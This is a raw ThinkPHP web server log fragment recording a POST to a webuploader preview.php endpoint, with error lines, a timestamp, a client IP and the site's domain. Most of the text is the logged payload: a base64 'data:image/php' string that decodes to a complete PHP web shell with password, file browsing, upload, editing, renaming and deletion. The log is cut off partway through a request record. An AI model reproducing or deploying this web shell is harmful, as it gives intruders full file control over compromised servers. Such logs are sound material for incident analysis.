'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'public' => 'js', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:01+08:00 ] 116.213.36.234 POST 51tianwei.com/static/common/js/webuploader/0.1.15/server/preview.php [运行时间:0.002578s] [吞吐率:387.89req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'common', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 